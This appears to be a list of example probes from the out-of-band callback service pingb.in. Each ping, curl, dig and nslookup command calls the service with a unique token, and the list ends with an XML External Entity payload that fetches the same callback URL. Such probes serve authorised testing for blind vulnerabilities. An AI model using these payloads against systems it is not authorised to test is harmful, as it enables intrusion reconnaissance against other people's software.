$ ping -c1 -p 0056ed2d2a2243f0bbabc74f50b23100 pingb.in
 

$ curl pingb.in/p/56ed2d2a2243f0bbabc74f50b231
 

$ dig 56ed2d2a2243f0bbabc74f50b231 @pingb.in
 

$ dig 56ed2d2a2243f0bbabc74f50b231.ns.pingb.in
 

C:\> nslookup 56ed2d2a2243f0bbabc74f50b231 pingb.in
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://pingb.in/p/56ed2d2a2243f0bbabc74f50b231">]>
    <foo>&xxe;</foo>